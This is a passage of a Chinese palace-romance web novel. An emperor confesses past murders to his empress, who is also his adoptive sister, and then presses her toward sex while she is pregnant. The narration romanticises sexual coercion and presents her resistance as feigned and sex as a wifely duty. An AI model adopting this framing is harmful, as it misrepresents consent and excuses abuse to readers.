上一次还是她没有恢复记忆的时候,他召她到此和他说话,结果话还没说上两句,他便挥下桌案上的所有物什,将她剥光了抱到上面去,她拼命哭泣乞饶,求他不要在这种地方做这等荒唐之事,周奉疆不听。
后来媜珠就不肯再过来了。
她手中托着一盏茶杯,随意打量了一番他书房内的摆件陈设。
——一切都和她上次来这里是一模一样,仿佛什么都没有变过。
她知道他是这样的人。大多数时候单调乏味,寡淡,没什么趣味,也没什么物欲,永远阴沉,永远一成不变,像一棵无声屹立的古树,一座巍峨静立的山。
他的书房里除了单调还是单调,无端透出一股阴沉的气息,一进来便有一股浸入骨髓的寒意,恐怕那些朝臣们在这里跪久了,还没等皇帝多说什么,他们自己的心就慌了吧。
媜珠又待了一会,见他还没回来,她也起了身在这书房里来回转了两圈,漫不经心地想着她等会该如何向周奉疆开口问起周奉尧的事情。
忽地,媜珠在经过他那方宽大的御案时,脚步顿住了。
在那堆积如山的政务文书里,她从中看见了一张颜色娇嫩得格格不入的信纸。
在周奉疆这种阴沉阴沉的地方,有一抹此等娇色,的确很是引人注目。
犹豫再三,她还是忍不住凑了过去,轻轻将那封信抽了出来。
那是一张菡萏粉的浣花笺,媜珠取过,遥遥瞥了两眼:
“昔年洛阳一面,妾见陛下而误终身……今身为浮萍,飘零异乡,陛下感念旧情,得救妾于水火,妾再拜谢君恩。”
写信的女人有个很好听的名字,
她说她叫张玉令。
媜珠微微一笑,不动声色地将这封信放了回去。
第86章
媜珠喝了半盏茶,如一切都无事发生般坐在椅上又等了他一两刻,忽听得外面传来他略带几分急促的脚步声。
他回来了。
这么久以来,这似乎还是媜珠难得一次主动过来寻他。
他忽然有些悲凉地意识到这一点,在这重重殿苑、深深宫墙之内,看似是他禁锢着她,可是他们两人活在这禁廷里,一直都只有他在主动。
她几乎从来没有主动找过他,至于他去不去她那里,她从来都是淡然的,并不上心的。
哪怕是她没有恢复记忆、还能温温顺顺地做他妻子时,她都不会来主动寻他,更何况现在两人的关系并不算多好。
周奉疆走到她面前,俯身握住了她的双手,神色还有几分因受宠若惊而感到的局促:
“媜媜,媜媜,你今日怎么忽然想过来了?是有什么事寻我?”
不过此时,他难得展露出来的局促,却让媜珠不由得和他桌案上的那封来自一个名为张玉令的女人的书信联系在了一起。
张玉令,长沙公主张玉令。她还是张道恭年纪最小的姑母,算起来,是直至如今历经两朝四帝的亡国公主。
前楚建都于洛阳,媜珠没有去过洛阳,而周奉疆却在他十九岁那年被前楚的代宗皇帝所召,去过一次洛阳。
十年前,他在洛阳还见过谁?
见过那个曾经让他扬名天下的长沙公主吗?
也许,这并不是第一封信,也不是第一次,只是被她无意间撞破的第一回而已。
媜珠忽地在心里想到了一个问题,——他的宣室殿里还有其他的秘密吗?
身为皇后,身为皇帝的妻子,她几乎很少很少主动来到皇帝处理政务的地方,她做皇后一两年的时间,来到宣室殿还不到十回,他在这里有秘密吗?
这里,有没有发生过别的什么她不知的事情,有没有什么别的不该被她看见的人或物?
没有人会回答她,自然了,眼下她也并不纠结这个问题。
她没有收回自己那双被周奉疆握在掌心的手,而是神情平静地和他的双眸对视,没有任何铺垫,开门见山地对他问出了那个问题:
“十七年前的周奉尧,是不是你杀的?”
周奉疆顿时愣住,心头的那点因她主动来找他而生起的喜悦也一下荡然无存。
他许久沉默未语,但是却越发握紧了媜珠的手:
“媜媜……你来找我,就是为了这件事?”
不正面回答就是他的答案。
媜珠的心脏跳了跳,脸色有一丝苍白,十指也变得冰凉起来。
“他的死是和你有关,还是你亲手杀了他?——那年你们都才十二岁。”
她的十二岁在做什么呢?连杀一只鸡也不敢的年纪,还在和家中姐妹们居于锦绣深堆中,诗词歌赋,清风明月,不识人间疾苦。
周奉疆缓缓将她从椅子上拉了起来,把她搂进自己怀里,抚着她的背竭力安抚着她的情绪:
“他是你父亲的长子,你若是想,我可以追封他为秦王、梁王、汉王,都可以,咱们可以从宗室里挑选男孩过继到他名下,承袭他的封爵,延续他的香火,我也可以追封他生母唐淑仪到贵妃的名位上,可以寻到唐淑仪娘家还剩下的亲人,善待他们,补偿他们。”
“——可我要的不是这个。你这是要气死我母亲吗?”
媜珠连连摇头,双手在他胸膛前推了推,从他怀中拨出一丝供她活动的空间,她仰头望他,声音和缓平静,
“周奉疆,我要的不是这个,我也无意如此做。我只是要一个真相而已,我只是想听你亲口跟我说,当年到底发生了什么。你总是在瞒着我,骗着我,你也明知道我最介意的是被你欺骗。周奉尧是我周家的人,他是死在我的家里,我想要一个真相,还不够吗?”
周奉疆下颌紧绷,仍是不愿轻易松口的样子,他只低声吐出了几个字,“不过是少年时事而已。”
媜珠眸光若雪,死死地盯着他,一步也不肯退让,就是要他给出一个答复。
最后他也是实在没辙了,无奈叹息:
“媜媜,看在我们已经有孩子了的份上,你就不能——你就不能为了这个孩子退让一步吗?我不想当着孩子的面说这些,我怕你伤心,怕伤了你的胎气。”
一个怀孕初期的女人,她在所有人眼里都是那样的娇贵,她胆小,善良,柔弱,那些吓人的故事是不能说给她听的。
媜珠也笑了:“陛下的孩子是不会害怕听到这些话的。它若是怕,它就不是您的种。”
“我怕你……”
“我也不怕,我若是怕,我就不会是它的母亲。你说吧,我在这里听着,我等着你把蒙骗着我的所有事情一件件告诉我。”
周奉疆神情复杂地看了看她,总觉得她这两句话说的好像又格外入耳似的。
他的神色也渐渐恍惚了些许,仿佛是在脑海中翻阅起了十七年前的记忆,找到当时那些事情的回忆。
“是我亲手杀了他。”
他坦然承认了此事,一只手从媜珠的腰际慢慢上移,最后落到了她的脖颈后,温柔地捏住了她的后颈。
情爱欢好之时,他会用这样的动作来安抚她的不安和抗拒,然现在这个动作却无端让媜珠战栗了一下,浑身冒起一阵寒意。
“周奉尧是怎么死的?他死的太容易了。那是一个起了浓雾的深秋,就在家里,就在冀州侯府里,我冒着雾气潜进他的院子里,放了两只恶犬,吸引走了他周遭侍奉的丫鬟小厮,而后把他从榻上抓了起来,捏着他的脖子,把他的脑袋朝他院子里的假山盆景上狠狠砸过去,一击毙命,砸死了他。”
一边说,他宽厚的大掌一边轻轻抚摸着媜珠的后颈,他语气中甚至还有几分陶醉:
“我当时是一下用尽了全身的力气,就是为了当场弄死他。如果第一下砸不死他,再砸第二下、第三下,旁人看出来就麻烦了。后来周奉尧死了,我就把他的尸体摆放好,伪装成他起身后冒着雾气不慎摔倒,脑袋磕在石头上磕死了的景象,果真再没有一个人起疑。然后我便偷偷借着雾气再溜走了。所有人都觉得那是个意外,连你父亲亲自查看过儿子的尸体后,都不疑有他。”
“堂堂冀州侯长子,就这样死在我一个娼妓之子的手里,哼。”
“对了,你母亲的确知道我要去杀周奉尧,她也支持我去杀,但这件事从头到尾都是我谋划的。你母亲么,就知道对着唐氏生气,除了天天躲在屋里咒骂唐氏生了儿子也养不长,别的什么也不会。是我一个人设局去杀的周奉尧。”
媜珠瞪大了眼睛看着他,心中一片哗然。
从这一刻开始,她就知道她是彻底斗不过他的。
她根本玩不过他的城府,他的狠辣,她只有被他吃干抹净的份。
那是个令她父亲周鼎伤心至极的秋日,对于周奉尧的死,后来家里人是怎么说的?
是因为那天周奉尧的院子里进了两条恶犬,仆从们怕恶犬乱窜伤人,于是就踏入浓雾中四处去抓这两条恶犬,导致大公子身边无人看顾。
大公子睡醒迷迷糊糊地起了身,听到外头约摸有恶犬叫唤,身边又无人侍奉,心下纳罕,于是便提步向外走去,探探外头的情况。
没想到雾气还未消散,大公子刚睡醒又尚未彻底清醒,脚下一个失足,摔倒了,没成想一下磕在假山石上,就这么殒了命了。
直到十七年后,媜珠才意识到,这一切竟是周奉疆一个人布的局。
他一个人,十二岁的年纪,单枪匹马就杀了冀州侯周鼎的爱子。
他十二岁就能做得出来的事情,到她二十二岁、三十二岁,也没这个本事做出来。
周奉疆抚了抚媜珠的脸颊:“这个故事就是这样的,媜媜,它是不是很有趣?这就是你要知道的真相,这就是我的秘密,现在你听完了,你觉得如何?”
“其实你父亲其他的几个儿子,我也完全有本事如法炮制这样的意外把他们全都杀了的。只是我怕你父亲起疑心彻查下去,就暂且放过了其他人,叫他们多活了十来年。”
他蓦然就对着媜珠起了浓浓的倾诉之欲,也顾不得媜珠到底能不能接受,他就一股脑地全都倒了出来,
“你还想知道我别的秘密吗?你知道当年我替你母亲解决了一个心腹大患,她是用什么来和我做交换的?
——我和她说,我能为她杀了周奉尧,我向她证明我才是她最有用的养子。那么作为交换和对我的奖励,她再也不能收养其他养子,不能再让那些人接触到你,因为我才是你唯一的兄长,你只能是我一个人的妹妹。
我的好妹妹,二十多年来,我为了得到你,杀了多少人,付出多少心血,只为了让你眼中只看得见我一个人!”
为了巩固自己的地位,赵夫人不止收养过周奉疆这一个养子。
媜珠是记得的。
但是也自从周奉尧死后,赵夫人就不再收养别人了,她的养子只剩下周奉疆一个人。
说罢,他沉沉喘了口气,死死盯住媜珠脸上每一分细微的表情与变化,
“现在呢?我把我的秘密告诉你,你只会更厌恶我罢。”
可是他说错了,媜珠面上并没有露出一丝一毫的怨恨和厌恶,她只是有一点被吓到似的,唇色也透着一抹白。
“还有呢?你还有其他的秘密呢?难道你瞒着我的事情就只剩下这些?”
周奉疆笑了:“你还想再听我说些什么?”
“比如,周奉尧是你杀的第一个人吗?”
“不是。”
周奉疆果断否认了,“他远远排不上。我第一次杀人,是在我五岁那年,我杀了一个经常欺辱我生母的男人。”
那个男人体格魁梧健壮,经常借故留宿于郑娘子处,总会使些手段欺辱郑娘子,而且几乎从不付钱。
郑娘子孤儿寡母地从事着这样的营生,对这样的地痞无赖也是敢怒不敢言。
但他如果只是不付钱也就罢了,他还总是在床榻上殴打踢踹郑娘子。
周奉疆年幼时听着这些,看着这些,心底就渐渐第一次起了杀心。
他想,如果这个人死了,他母亲是不是就不用被他欺负了?
可是他才五六岁,而这个男人这样魁梧,他一个幼童,怎么才能杀了他呢?
他静静思索了很多天。
直到他发现附近有一户人家卖鼠药,是毒性极强的毒耗子的药。
有一天夜里,他悄悄潜入这户人家,偷了一点点的鼠药。
等到第二次那男人来到他母亲榻上时,他趁着他在榻上折腾,躬着身子爬进屋内,摸到了他扔在地上的一个水囊。
他悄无声息地拧开那个水囊,把握在手心里的一点点鼠药抹在了他水囊的瓶口一圈。
做完这些后,他把水囊放回原位,又静悄悄地溜了出去,好像这一切也没有发生过。
——第二天,从街坊邻里口中就传来了这个男人的死讯。
他就再也没有出现在他和他母亲的眼前了。当然,更不会有人怀疑到他们母子的身上。
这是周奉疆杀的第一个人。
在他五岁那年。
他的残暴和弑杀是从年幼时便刻进骨子里的,这辈子都改不了了。
他也从未失手过。每一个他想杀的人,最后必将如他所愿,永远消失在这个世上。
只不过周媜珠见到的是他最温柔宠溺、最有耐心的那一面而已。这世上也就只有她见过那样的他。
说完这些所有后,周奉疆看了看媜珠,颇有些落寞怅然地摸了摸她尚且平坦的小腹:
“我是不是吓坏你和孩子了?”
他知道他最真实的一面有多么恐怖,多么肮脏,多么令人作呕,然而站在他面前的她,却是质如观音,性若冰雪,何等不染纤尘的人。
媜珠摇了摇头:
“如果他是个男孩,他只会仰慕他父亲骁勇英敢,还会在心底立誓以后要如他父亲一般万夫莫敌,希望他父亲夸赞他一句此子类我。
如果她是个女孩,她生来就会享受着她父亲为她打下来的锦绣江山的供养,她会一面居公主之尊,一面对自己的父亲感激孺慕,将她父亲视为自己一生最重要的男人。”
周奉疆听了这话心里很舒坦,然这并非媜珠有意奉承他什么,只是站在任何一个孩子的角度上,所有的孩子都只会这样想。
他的孩子一定会是爱他的。
她只是实话实话而已。
周奉疆面上多了些笑意,他又问她:
“可你说的是孩子,那你自己呢?你会怎样想我?”
媜珠垂眸:“身为你的妹妹,你五岁时的故事,我会心疼。身为我母亲的女儿,你杀了周奉尧,让我母亲从此在后宅心安,我替她感谢你。”
“那做我的妻子呢?做我的妻子,你又是如何看我的?”
媜珠的眼神漫不经心地瞥过他的桌案,似笑非笑:
“如果是您的妻子赵皇后,也许她会想知道您还有没有什么瞒着她的秘密。”
而他的答案是没有。
媜珠抿了抿唇:“妾已无事,可否先退下了?”
他以为今天这场推心置腹的交谈或许能说明他们之间已经开始破冰,她好像并没有再像之前那样排斥他了,于是他借机向她提出了往后继续留宿于椒房殿的要求,媜珠既没有答应也没有否决,她用了他说过的话来回答他:
“此皆陛下之家国也。陛下愿意在何处,愿意在哪个女人身边,谁能左右?”
第87章
从宣室殿回去的这一路上,媜珠心中又忍不住细细想了许多。
她还是感到有些不平,感到一阵无力和不快,
——因为在他们之间是不平等的。
他比她大,他是亲眼看着她长大的。
从她出生直至如今,二十三年来她都是在他的眼皮子底下一日一日长大的。她在他眼里是没有秘密的,他清楚关于她的所有事情。
自她出生后第一天睁开眼睛,第一次会坐,会爬,会走路,会说话,到她长大后曾经两心相许过的第一个恋人,第一个誓死要嫁的未婚夫。
他见证了她成长中的每一步,看着她跌跌撞撞地长大成人。
在他眼里,她是个没有秘密的存在。
而她哪怕想过叛逆和反抗,也从未逃出过他的手掌心。
二十三年来她对自己的人生只有过两次叛逆的行径。
第一次是当年还在北地冀州时,趁着他不在家中,她偷偷溜出家门想要嫁给张道恭、想要和张道恭一起去洛阳,永远地离开他的掌控。
可是那一次是失败的,最终她被他抓了回来,囚于家中,她还被他严厉地斥责管教了一番。
第二次就是上次她恢复记忆后想要从他身边逃走,想要去找二姐姐和张道恭。
即便是那一次她自以为完美得天衣无缝的逃跑计划,其实很早之前也已被他识破,她的挣扎和反抗,不过是他眼里的一场玩闹而已。
二十三年来她从未在真正意义上脱离过他的掌控,哪怕他不在她的身边,他也对她的一举一动了如指掌。
然而从媜珠的视角去看周奉疆时,就并不是这样的了。
这么多年来他们都是亲密无间的,以前是在情意上,后来是在肉体上。
他说他爱她,他也给了她许多付出的诚意,他的确保护了她,但她对他似乎并没有那么了解。
对,她并不了解他。
他的生平,他的过往,他的一贯为人,其实她根本没那么清楚。
她所能知道有关他的事情,也只是他愿意开口告诉她的,他愿意说,她才能知道。
可是他要是不说呢?
他要是不主动说,她就什么都不知道。
他可以监视着她,掌控着她,但她却没有能力这样对他。
他在外面经历过许多她不知道的事,他还有多少瞒着她的秘密啊,比如,媜珠开始隐隐约约怀疑起来,他那样重欲,在外头打仗的那些年里,她不在他的身边,他真的清白吗?
他真的从没有收用过旁人献来的美女伶人吗?
是真的没有,还是只是没有带回家里让她知道?
有些事情女人是不能细想的,越想越伤的是自己的身,然媜珠心里还是有个坎过不去,从宣室殿中出来后,她旋即借口去给太后请安,来到了赵太后的承圣殿里。
挥退佩芝等人,她和母亲略聊了几句,终是犹豫着开了口,望向母亲身边最信任的嬷嬷福蓉:
“明日,你替我去宫外看看琅琊公主,就说是太后的恩典和惦念,看看琅琊公主近来过得如何,带一些宫里的御膳和赏赐去。然后想法子绕开琅琊公主身边伺候的人,私下和琅琊公主说几句话,就说,就说……”
媜珠咬了咬唇,好不容易把心底憋着的那句话问了出来,
“她之前和张道恭在洛阳待过一阵子,你问问她,知不知道一些有关长沙公主的事。——记住,千万要悄悄的,别让任何人瞧出来。”
听媜珠如此说起这话,赵太后和福蓉都有些面露不解,不明白媜珠为何好端端地要打听这么个人,更不明白她身为皇后,打听个人还要饶这样十八个弯子是什么缘故,竟跟做贼一般。
媜珠脸色有些不好看,始终不肯多说,只一再请福蓉去为她做成这事,明日回来后把周婈珠的话转述给她,还不停地强调不能被别人发现。
赵太后和福蓉也就没有再多问,太后遂支使福蓉道:
“也罢,明日你就打着我的名义出宫一趟,说我这个嫡母牵挂好不容易才回来的女儿,看看琅琊公主在长安住的习不习惯。再悄悄地把皇后想问她的话给问出来。——去翻翻我库房里那些陈年了没有用处的什么山参啊燕窝灵芝的,凡是我不吃的,去取出来包好,明日就拿去赏给那死丫头,可别叫人议论我小气。”
媜珠想要弄清楚的,其实并不算一件什么难事。
关于长沙公主的生平过往,前楚的宗室亲眷们都可以向她说得一清二楚。
只要她一个皇后开口问了,她想要的答案一定能轻而易举地得到,完全不必费这样大的弯子。
可媜珠就是有些不痛快,不肯让人发现她对长沙公主起了好奇之心。
别人知晓了,尤其是周奉疆要是发现了,那就是她输了,她的面子上挂不住。
思来想去,最后她有些无奈又好笑地发现,能靠得住的原来还是自家人,还是自家的姐妹。她只能选择去问问周婈珠。
傍晚时,皇帝至椒房殿内陪媜珠用了晚膳。
他心里是有忐忑的,毕竟就在今天的不久之前,他对着媜珠吐露了两件深藏心中许久的秘密,他向她袒露了他的阴暗肮脏一面。
他害怕这会引起她对他加倍的厌恶与抗拒。
然而令他感到有些意外的是,媜珠的神色居然还是那样平静,就好像什么都没发生过一样。
她好像一点也不在乎十七年前就是她的兄长残忍地杀害了她父亲的爱子,更不在乎他其实在很小很小的时候就养出了那样残暴嗜血的性情。
周奉疆刚想开口对媜珠说些什么,媜珠放下手中的筷子,却再度对他发问了:
“你是怎么发现的?”
这句话问得有些没头没脑,可周奉疆只在微愣片刻后便反应了过来。
她是在问,他是如何发现她恢复了记忆的、如何发现她和旁人密谋着要出逃的。
他眸光深沉而复杂地看向媜珠:
“后来我们在一起用膳时,你提醒我吃紫苏叶。只有你知道我喜欢吃紫苏叶。你还知道我不喜欢莲子,给我送四神汤时,你会叮嘱婢子们不放莲子。”
“我顺着这些查下去,我想到你二姐姐就在张道恭身边,想到了颍川公主府的韩氏兄弟二人隔三差五寄回长安的家信。果真是一查一个准,不费吹灰之力就查到了你二姐姐寄给你的信,你给你二姐姐的回信,我也看过。”
媜珠蓦然睁大了眼睛。她当然还记得自己做过这事,但她从来没想过她是在这上头漏了陷,竟然是这样被他察觉到的。
恢复记忆后,她在他身边很是谨小慎微地虚与委蛇了一段时日,她努力伪装,让自己看起来就像失忆时那般温顺无害。
她还记得要在自己亲娘面前装作她的儿媳妇,却忍不住去关心他,记得他的每一样喜好和癖好。
“其实也不止这些事情上……媜媜,你那段时间很奇怪,你心情总是很差,郁郁寡欢,不爱说话,不爱动弹,做什么都没劲。你也不愿意侍寝,不愿意和我亲近,还想出过装病来躲避我的触碰,我觉得你应当十分厌恶我,可在某些方面,你却没有忘记对我的好,在我的一饮一食上,你还是那个周三娘子,对自己的兄长万般关怀。”
媜珠也忍不住笑了,她眸中滴落一滴泪珠:
“我还记得你在饮食上的喜好,记得你喜欢什么,不喜欢什么,因为我还是你的妹妹,我一直将你当做一母同胞的亲生兄长般敬重服侍。
不愿意侍寝,不愿意被你碰,也是因为我是你妹妹,我不想和你做这些要遭天谴的乱伦之事,这桩婚姻也非出自我本心,我也是个有自尊的人,所以我不肯!”
这样再谈下去,谈到最后还是互相指责和争吵,周奉疆很快止住了话头,双手捧着她的脸颊,用拇指轻柔地抹去她的泪痕,
“好了,媜媜,够了,我们不说这些了,我们现在这样已经很好了,不是吗?我们连孩子都有了,不要再提从前那些不开心的事情了,再提那些旧事,对你我,对孩子,都不好。”
媜珠心头百转千回,胸脯剧烈起伏了几下,末了还是又把这些情绪给压了下来。
饭毕,椒房殿里的宫人们都以为皇帝今晚会像往常一样离开,然让他们没有想到的是,皇帝今日却没有要走的意思了。
他要留宿在这。
不只是今夜,往后的每一夜他都会继续留在这里陪着皇后。
就像从前一样,夜夜同床共枕,夫妻朝夕相见,再无分殿别居一说。
若非之前他与媜珠置气,这么多天来他们何至于夜夜分别?
可惜,有的男人在榻上的人品实在太差,好色又重欲,这种人哪怕做了皇帝也是注定不配被人信任的。
当皇帝再度留宿椒房殿时,脸色最难看的居然是佩芝。
因为在她看来,媜珠现在的肚子还不到三个月,正是孕期最虚弱的时候,皇帝竟在这时非要留宿,那目的不就是明摆着的么?
就是一头饿狼为了吃人来的。
一定是他许久不曾泄过火了,着急要拿他美丽又柔弱的皇后泄欲罢了。
小别胜新婚,帝后二人也有一段时日没有宿在一处过了,现在他再过来,就算他先前没起过这样的心,到了榻上,将美人的身子拥入怀中,心猿意马,意乱神迷……恐怕也还是会起兴致的。
而皇后呢,从来又都是那样柔柔弱弱的,皇帝真要做什么,哪里是她能反抗的了的?她也只有一面哭一面受着而已。
届时若真的伤了皇后的胎气,这等后果是谁能承受的起的?
赵太后那头保管要先拿她们这些侍奉皇后的人算账。
——所以她们心里对皇帝当真没有半分的信任。
夜,就寝安置之前,佩芝她们先服侍媜珠洗漱更衣,饶是佩芝也还是实在忍不住满脸担忧地出言叮嘱了媜珠几句:
“娘娘,您应当知道的,您现在的身子……可不是能侍寝的月份,陛下他……您……?”
媜珠披散着如云的浓密长发,拢了拢自己的寝衣,一副满不在乎的神情:
“这话你该跟他说去,要是他都不在乎他的种,光是我这个做母亲的心疼孩子有什么用。”
媜珠以为,周奉疆这个人人品就算再差,就算他再好色,他也不至于在这个时候对她乱发情。
可是很快她就发现是她想错了。
一向看周奉疆两眼不对付的灿娘子被佩芝提前抱走了,媜珠若无其事地上榻躺下,周奉疆在片刻后也上了榻,命宫娥们熄灯出去守着。
她背对着他,他从她身后将她温柔地环抱住,于一片昏暗中俯身吻了吻她后颈上的皮肉:
“媜媜,睡吧,我在这里守着你。就像我们从前一样。”
媜珠的身子扭了扭,似乎是要从他怀中和他拉开些许距离,她闷在被子里哼了两声,轻轻颤了颤,周奉疆怕她闷坏了,伸手把被子拉下来些许,将她的脸露出来。
而后他便在这样昏暗的床帐之内,看见了一双水雾朦胧的无辜眼睛。
她无端露出了这样的神情,像一只可怜的幼兽般躺在他身下望着他。
周奉疆的呼吸顿时一乱,立时有了反应,喉结滚动了番,眼眸了红了些许。
一把利刃抵住了媜珠。
他心中忍不住叹息,的确是很久很久没有过了。
第88章
媜珠自有孕至今,一直以来的气色都尚算不错。
她平日里安静而温顺,一日三餐的胃口并不差,也没有出现什么怀孕初期女子常会有的不适反应,既没有呕吐,也没有厌食,只是平日稍微嗜睡了一些。
她也很听话,王医丞他们对她的各种叮嘱,叫她各种忌口,她都能毫无异议地听得进去,每日端给她的安胎药她也一碗一碗喝下去了。
吃得好睡得好,又被人精心照顾,她甚至还丰腴了些许,身子摸上去也多了些软肉,不再是从前清瘦得像只蝴蝶般易碎的模样了。
过去一段时间里,在她不知道的时候,周奉疆时常会悄悄过来看看她。
有时是他早上的朝会之后,有时是他在深夜里终于处理完了一天的政事,还有时则是在中午午膳后难得抽出来的一点休憩的功夫,他会来椒房殿里看看她。
她并不知道他来过,因为她总在睡梦中,睡颜安稳,娇憨沉静,是一副极宁谧恬美的景象。
肥嘟嘟的灿娘子会卧在她身侧陪着她一起睡,一人一猫的胸脯肚腹微微起伏,是她们睡梦中最平稳绵长的呼吸。
也许是看在这个孩子的面子上,媜珠有孕之后的情绪和缓了许多,也没有再和他大闹过什么,她平静温婉如初,似乎和他之间的那些爱与恨都不曾有过,似乎她全都放下了。
她眉眼之间也渐有了几分将为人母的神韵,温顺,清婉,柔情似水。和她从前的未出嫁时的神态很像,却又有着极大的不同。
她爱他们的孩子,即便她不愿意亲口告诉他她会好好地把这个孩子生下来,可他看得出来她爱它,这让他心中得到极大的慰藉。
她也真的长大了,不再是懵懂任性的小女孩了。
他竟有种慈父般的欣慰。
虽然周奉疆还是无意冒那个险在这时候对她做什么,但他心中倒忍不住想着,以她现在的状态,就算真的弄了她,只要动作轻些,应该也不至于有什么的。
他对她的身体有莫名的着迷,着迷到几乎是疯魔了。
她的肌肤骨肉都是香的,散发着幽幽的、似有似无的香气,让他恨不得将她整个人融入他的骨血之中。
起初是她幼年时,他总喜欢抱着她,逗她玩,后来随着彼此都渐渐长大,不复年幼,这份兄长对妹妹的爱护、对她身体的痴迷遂悄悄转变为情欲。
这不是一件再正常不过的事情吗?
他将媜珠身上的锦被又往下拉了拉,先是安抚一般亲了亲她的脸颊,而后他的手指便精准地探到了她的胸前,勾住她的衣领,将她的寝衣缓缓解开,把两片布料撩到一旁,露着她雪艳莹莹的身体。
她没有穿肚兜。
……他是不是没有告诉过她,其实他夜间视物的能力极好?
从他幼年起,他常常被他生母赶在外面过夜,起先浓墨一样的黑夜将他笼罩起来时,他觉得这简直是一头吃人的巨兽,他恐惧,他害怕,可是后来在黑夜里一个人待的时间长了,仿佛这无边无垠的黑夜,也不过就是那么一回事了。
再到后来,从跟随她父亲周鼎在外行军打仗时开始,他也总会带着同僚兄弟们夜间疾行奔驰,这份鹰隼一般夜视的过人能力也为他解决了许多大麻烦。
后来这样过人的能力,又终于被他用到了她身上。
同房时她总会又羞怯又紧张,习惯哭泣着求他熄灯、拉上床帘再行事,她或许怕他看她看得太清楚。
两人还没有彻底撕破脸时,每每她提出这样的要求,他都是温柔着答应了下来的,似乎他十分理解和体谅她的不安。
可她并不知道,哪怕在那样昏暗的环境里,他也依然看得清楚。
绝不只是她婀娜曼妙的身体。
他还看得清她意乱情迷时的每一次蹙眉、喘息,看得清他离开她时、她怅然若失、怏怏不乐的张唇无声叹息。
她的眼睛、她的身体都在告诉他,她愿意被他这样对待,她愿意接受这些浇灌,她不会真的想要拒绝他的。
正因如此,他理所当然地认为她应当是喜欢这些事情的。
什么反抗什么拒绝,只不过是她身为女子欲拒还迎的手段罢了。
肌肤相贴之时,他们靠的那么近,他们互相取悦,难道不是世上最快活的事情吗?
不过,这一次顾念她还怀着身子,其实一开始他并没有对她做什么太出格的事。
他看到了那两只卧着的白兔,离那一片颤颤轻摇的兔肉也只有几寸之隔,可他没有碰。
他的唇落在了她尚未明显隆起的孕肚上,亲亲吻了吻她柔软的肚皮,仿佛他此刻并没有升起半分欲望,只是个想要和自己的孩子亲近一番的慈爱的父亲。
的确,她有孕快两个月了,他们一直分房别居,近两个月来他连这样亲密的、皮肉相贴的摸一摸她的肚子都没有过。
这样一片柔软的腹地,这样柔弱的身体,却要为他生育子嗣。
这一切都令他感到恍惚和惊奇,他还记得那个第一天来到冀州侯府的自己,被养母赵夫人领回去,颤颤巍巍地伸出手轻轻抚了抚养母的孕肚,有了和媜珠的第一次见面。
岁月经年,当年那个一点点的她,现在居然也要成为人母,怀上了他的孩子。
情欲在这一刻稍稍被压下,他心中涌起的是对她的无限怜爱。
——如果没有她,也许他这一生都会安安分分地做周家的一条狗,一个忠心而沉默的家奴,可以被她父亲驱使,被她庶兄们差遣。
如果没有她,光是一个养母赵夫人,完全不足以说服他和她一起争权夺利,杀了周家那么多人。
他在心底想到这些事,并非是为自己犯下的杀孽寻找开脱之词,更不是想要将这些所有的源头怪罪到媜珠身上,仿佛媜珠才是那引诱他性情大变的红颜祸水一般。
可这些实在是他这一路走来的真实心声。
如果没有她……如果没有她,如果不是因为那份想要得到她、保护她的欲望,也许他的心气并不足以支撑他走到今天。
过去那些年刀尖舔血的日子里,每一次他觉得自己撑不下去时,他眼前总会浮现媜珠的模样。
他不停地质问自己,如果你斗输了,她该怎么样?
她会嫁给张道恭那个无能的蠢货,而后在这乱世里和张道恭一起去当亡国奴,接着因为她的美貌,她会被无数男人觊觎、争抢,继而……
那些事情他根本不敢想下去。
所以她恨也好,怨也好,最终还是他将她牢牢地锁在了奢华、精致又安全的金丝笼里,让她一生不曾遭受过半点风雨。
即便他们还并没有做什么太过出格的亲密举动,可床帐之内的温度却在不断攀升,甚至媜珠脸颊上已经泛起了一层薄汗,沾湿了几缕发丝。
他亲吻她的肚皮,只是单纯的皮肉相贴、肌肤之亲,而她的身子就莫名地在扭来扭去,哼哼唧唧,呜呜咽咽,一副不安分的做派。
周奉疆刚刚有些和缓下去的欲火旋即又被她轻而易举地重新勾了起来。
她怀孕时的身体、姿态,仿佛比先前更多了一重美感。
他将双臂撑在她身侧,肌肉紧绷,臂膀上的青筋暴突怒张,眸色幽深地盯着她。
想到身下的女人腹中此刻怀着他的种,这感觉无疑令他更加兴奋,令他的头颅在短短几瞬的时间内闪过了无数旖旎销魂的画面。
他甚至希望她的孕肚可以更明显些才好,要被他们的孩子一点点撑大,圆圆滚滚的。
媜珠以为他会对她做些什么的。
但最终他仰首叹息了下,喉结滚了滚,俯首凑在她耳边对她说的却是温柔款款的轻声哄慰:
“本来今年我想带你东巡洛阳,可有了这个孩子,要辛苦你养胎,所以不得不对你食言了。等这孩子生下来,你的身子养好了些,我一定带你去东都洛阳看看,好不好?再过几年,我还可以带你南下巡游,带你去江南,看看姑苏,金陵,杭州,也带你去游洞庭湖,好吗?”
媜珠抬眸看着他:“陛下总提到要带妾去洛阳……洛阳于陛下而言,自然是意义非凡的,或许还封存着陛下永世难忘的回忆,陛下在那里经历过什么事,见过什么人……”
周奉疆不以为意:“洛阳富庶,堪比长安,又是数朝的古都,我想带你去那里看一看,也许你会高兴些。”
媜珠低低喘息了下,语意不明,“陛下重游洛阳,想来也别有一番滋味,要是还有故人相陪,定更加销魂。”
他笑了:“我还能有什么故人?你就是我的故人啊,上一次我去洛阳时没能带上你,回冀州后你追问了我许久,问我洛阳风物人情,我就想着若有一日能带你去洛阳便好了。”
他亲了亲她的耳垂,继续引诱她:“你愿意永远陪在我身边么,只要你在我身边,我以后一定常带你出去玩,去那些不会有别人带你去的地方,带你亲眼看看这大好山川。”
“妾想去鄯阐府看滇池,去哥勿州都督府看长白山,陛下也能带妾去吗?”
“能。”
他只是沉吟了几瞬,很快便痛快地答应了下来,“朕之王土疆域,朕的皇后去哪里是不能的?只要你在我身边,直到去阴司地府我也一定陪着你。”
男人在这时候都是好说话的,不论媜珠向他要什么,哪怕是要来他的龙袍和国玺,他都会满口答应,绝无二话。
媜珠笑了,见到她终于展露笑颜,他也总算图穷匕见,握住了她的双手,引她去触摸他的那把利刃:
——“媜媜,那你帮帮我,好不好?”
这才是他的目的。
滇池和长白山远在千万里之外,就算是他口口声声所说的洛阳,离着长安也有八九百里路。
唯独他的欲望近在咫尺,火烧眉毛了,必须立刻纾解出来。
媜珠恨恨地看着他。
男人和女人对待情爱的不同便在此处,他觉得他有欲望就该在她身上解决,这是她身为妻子的义务,她不应推辞。他认为他只碰她一个人,只有她一个女人,只对她一个人索求,就是对她的爱。
